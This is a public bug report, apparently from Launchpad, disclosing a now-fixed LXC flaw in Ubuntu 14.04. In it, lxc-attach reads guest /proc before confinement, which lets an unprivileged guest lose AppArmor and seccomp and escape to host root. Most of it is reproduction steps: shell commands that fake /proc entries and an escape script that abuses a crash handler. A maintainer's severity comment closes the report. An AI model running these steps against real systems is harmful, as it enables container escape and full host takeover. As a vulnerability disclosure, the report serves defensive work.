unprivileged guest to host real-root escape via lxc-attach
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
lxc (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
During LXC security analysis (see [1]) it was found, that lxc-attach attempts to read guest mount namespace /proc entries before confining to new apparmor policy and dropping host uid/gid. By unmounting /proc within guest as root and replacing it with rogue version, lxc-attach fails to apply the new security policy and also to apply PR_SET_SECCOMP. Therefore getting "unconfined" apparmor profile requires only single invocation of lxc-attach. The unconfined settings already allow bind mounts, pivot_root and some other quite powerful syscalls, so second round of lxc-attach might not be needed. Currently second round uses host guest uid=0 process too attach to a real euid=0 process to escalate then to full host root privileges, e.g. via modifying /proc/sys/
Steps to reproduce:
Get unconfined:
===============
* Use SSH to get arbitrary number of unconfined sessions,
just convenience for testing:
apt-get install openssh-server
stop ssh
Edit /etc/ssh/
Set root password
* Prepare to lock next lxc-attach to get "unconfined":
mount -t tmpfs tmpfs /proc/1
mknod /proc/1/status p
* Replace /bin/sh or link it to sshd instead, for testing call it directly:
lxc-attach --name testguest /usr/sbin/sshd
* In guest make apparmor fail by second tmpfs mount:
ps aux | grep lxc-attach
pid=554
mount -t tmpfs tmpfs "/proc/${pid}/attr"
touch "/proc/
chmod 0666 "/proc/
echo "" > /proc/1/status
* Use the unconfined shells:
# cat /proc/self/
lxc-container-
# ssh root@localhost
...
# cat /proc/self/
unconfined
* Wait for the next lxc-attach, use unconfined to escape:
lxc-attach --name testguest /bin/true
In guest:
cat <<EOF > /escape
#!/bin/sh
echo "|/bin/sh -c /var/lib/
EOF
chmod 0755 /escape
cat <<EOF > /escape2
#!/bin/sh
touch /this-should-
EOF
chmod 0755 /escape2
ps aux | grep lxc-attach
/root/Testing/
ulimit -c unlimited
sleep 100 &
kill -SEGV 3030
Affected system:
# lsb_release -rd
Description: Ubuntu 14.04.2 LTS
Release: 14.04
# apt-cache policy lxc
lxc:
Installed: (none)
Candidate: 1.0.7-0ubuntu0.1
Version table:
1.
500 http://
1.0.3-0ubuntu3 0
500 http://
[1] https:/
CVE References
description: | updated |
information type: | Private Security → Public Security |
Ok, so that allows bypassing apparmor for both privileged containers and unprivileged containers so long as you get someone to run lxc-attach for you.
For privileged containers, that's not really an issue since there are ways of doing that and in fact more, without requiring any user intervention. That's why we don't consider privileged containers as root-safe.
For unprivileged containers, it's slightly more annoying since we do consider those to be root-safe and even with that bug, they still are, but loosing apparmor confinement is certainly not something we intended and so we should fix that bug.